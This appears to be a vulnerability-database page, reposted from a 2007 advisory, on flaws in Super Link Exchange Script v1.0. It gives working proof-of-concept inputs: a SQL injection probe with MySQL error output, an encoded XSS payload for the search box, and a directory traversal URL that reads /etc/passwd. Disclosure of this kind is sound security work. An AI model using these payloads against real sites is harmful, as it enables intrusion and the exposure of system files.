Super Link Exchange Script v1.0

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053040 漏洞类型
发布时间 2007-02-26 更新时间 2007-02-26
CVE编号 CVE-2006-7035
CVE-2006-7034
CVE-2006-7033
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007020088
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Super Link Exchange Script v1.0

Homepage:

http://www.ebizunion.com/guidetosuper.php

Description:

Main Features: 1. Add unlimited nested category/sub-category, 2. Can check reciprocal link back, 3. Can hide and delete no link back sites. 4. Template can be edited and suitable to fit your current webpage design. 5. Free to join

in ebizunion.com and download free. 6. Upgrade to super member can find link partners from ebizunion.com and transfer link information to user's link directory real time. 7. Powerful Business Directory for you find best link partners. Display your Thumbnail or Business Logo

Effected files:

search input form

directory.php

make_thumbnail.php

SQL Injections:

http://www.example.com/directory.php?cat=187'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/feitian/public_html/

username/directory.php on line 86

Global Business Union :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/feitian/public_html/

username/directory.php on line 100

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/feitian/public_html/

username/directory.php on line 103

-------------------------------------------------

XSS Vulnerabilities:

Data submitted by uses from the searchbox is not correctlly filtered. An example of a XSS attack would be to have a user put the following code into the searchbox:<IMG SRC=javascrip

;t:alert('XSS'&
#41;>

--------------------------------------------------

Directory Traversal:

http://www.example.com/make_thumbnail.php?imgpath=../../../../etc/passwd
/

--------------------------------------------------

Luny - http://www.youfucktard.com